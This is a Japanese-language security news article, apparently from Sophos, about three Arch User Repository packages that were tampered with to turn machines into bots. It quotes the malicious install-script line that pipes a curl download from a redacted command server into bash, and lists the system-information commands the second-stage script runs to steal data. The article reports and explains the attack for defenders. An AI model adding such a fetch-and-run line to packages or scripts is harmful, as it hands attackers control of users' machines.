今度は、別の Linux コミュニティがマルウェアの被害を受けました。
前回被害を受けたのは Gentoo でした。Gentoo はわずか数パーセントのパフォーマンスを向上させるために OS 全体を弄り回したり、ゼロからソフトウェアを再構築したりする労力を厭わない愛好者たちに人気のハードコアなソースベースの Linux ディストリビューションです。
Gentoo のようなディストリビューションは万人向けではありませんが、好奇心を満たしてくれるものであり、OS の構成と仕組みを深く理解できるようになります。
この点で Gentoo は ElementaryOS や Mint など、Windows や macOS と比較しても簡単にインストールや使用できる一方で実際の仕組みに関する情報はあまり公開していないディストリビューションとは趣を異にします。
今回マルウェアの攻撃対象となったのは、同じく「ハードコア」に位置付けられるも Gentoo より遥かに多くのユーザー数を誇る Arch Linux でした。
AUR (Arch ユーザーリポジトリ) 内の 3 つのダウンロード可能なソフトウェアパッケージがリビルドされ、マシンをボット化させるマルウェアが含まれた状態で発見されました。
ボット、あるいはゾンビマシンは、サイバー犯罪者と通信して、次に実行する操作指示を取得するマルウェアプログラムです。
ハッキングされたパッケージは acroread 9.5.5-8
、balz 1.20-3
と minergate 8.1-2
の 3 つです。現在これらはすべて感染する前の状態に復元されています。
経緯
簡単に言うと、Linux のパッケージには単に以下の 1 行が付け加えられていただけでした。ボットの中核的な機能は言ってしまえば次の 1 行に集約されます。
curl -s https://[redacted]/~x|bash -&
Bash 言語で書かれたインストールスクリプトの一部であるこの 1 行のコードは C&C サーバーからテキストファイルをフェッチし、自身の権限でスクリプトとして実行します。
curl
コマンドは HTTP もしくは HTTPS プロトコルを使用する Web ページをフェッチするプログラムです。バーティカルバー (|
) は「左のコマンドの出力を右のコマンドの入力として直接使用する」ことを示す Unix の短縮コマンドです。また bash -
はダッシュ(-
)で示された、入力として出力される部分を直接スクリプトとして読み込み、実行するように指示します。したがって、バーティカルバーはあるコマンドでファイルをフェッチし、また別のコマンドでそのファイルを再び読み込む必要がないことを意味しています。つまり、データは 2 つのプログラム間をメモリを介して渡されます。最後に、アンパサンド (&
) はこれらのすべてのコマンドを秘密裏にバックグラウンドで実行することを意味します。
これは攻撃者が C&C サーバーの ~x
ファイルに記録されたコマンドを差し替えることでマルウェアの動作をいつでも変更できることを意味しています。
現在、~x
コマンドは Linux における Windows サービスのような定期的に実行されるバックグラウンドタスクを設定しています。これは u.sh
と呼ばれるセカンドスクリプトを同じ C&C サーバー上の Web ページ ~u
からダウンロードして繰り返し実行するものです。
u.sh
ファイルは感染したシステムに関する基礎データを盗み出し、Pastebin アカウントへのアップロードを試みます。
u.sh
マルウェアが盗み出すシステムデータは次の Arch コマンドより特定できます。
echo ${MACHINE_ID} -- コンピューターの固有 ID (インストール時にランダムで生成) date '+%s' -- 現在の日付と時刻 uname -a -- 搭載されている Linux のバージョン情報 id -- スクリプトを実行しているユーザーアカウントの情報 lscpu -- システム処理チップに関する技術的な情報 pacman -Qeq -- インストールしたソフトウェア (Qe は明示的なクエリを意味します) pacman -Qdq -- 実行に必要な追加のソフトウェア (Qd は依存関係のクエリを意味します) systemctl list-units -- すべてのシステムサービス
幸運なことに、スクリプトのデータを盗み出すコード部分に、プログラミング上のエラーがあったため、アップロードが実行されることはありません。
Arch の対応
Arch は、膨大な量のコミュニティ向けのドキュメントを近年発行していることから高く評価されており、他のディストリビューションの多くのユーザーも知りたいことがある場合には、Arch Linux のドキュメントを参照します。
万が一、Arch が好ましく思われていないとすれば、このディストリビューションの文化が Linux の開発者であるリーナス・トーバルズ氏の「怒りっぽさ」を多分に反映している点にあります。トーバルズ氏は自分の障害となると考えたものに対して、狭量で侮辱的で無意味な怒りの感情をぶつけることで有名です。
このため、Arch コミュニティの 1 がこのマルウェアの問題を「だから何?」の一言で済ませてしまう反応を発見したときも驚きはしませんでした。
(引用文日本語訳) これは何に対する警告ですか?切り離されているこれらのパッケージが、多くのユーザーに利用されるとでもお考えですか?あらゆるコンテンツは自己責任で利用してくださいという免責事項が AUR のトップページに大きく太字で注意書きがしてあることが問題ですか?
このスレッドは異常な注目を集めていますが、このような下らないパッケージの乗っ取りやマルウェアの感染が多く起こっていないことが驚きです。
Arch チームに対して公平を期すために言及しておくと、ハッキングされたパッケージは AUR (Arch ユーザーリポジトリ) で発見されましたが、これは非公式の Android フォーラムが Google によって監査されていないのと同様、Arch の管理者により監査または保証されているものではありません。
しかし、AUR の Web サイトはロゴ表示され、単なるユーザーリポジトリではなく、Arch ユーザーリポジトリとしてブランディングされているため、Arch チームはもう少し謙虚な態度を示しても良いでしょう
対策
Arch の姿勢が気に入らないのであれば、あなたはそもそも別のディストリビューションを使っていることでしょう。しかし実際、コミュニティにより運営されている Arch ユーザーリポジトリに載っている警句がすべてを言い表しています。
免責事項:AUR のパッケージはユーザーにより作成されたコンテンツです。提供されているファイルのいかなる使用も自己責任でお願いします。
信用できないものはインストールしないようにしましょう。
注: これは実際には問題ではありませんが、ソフォスの製品は上記のスクリプトを Linux/BckDr-RVR として検出し、C&C の URL をブロックして攻撃を「報告」します。 (Sophos Anti-Virus for Linuxは、自宅でも職場でも 100% 無料でご利用いただけます)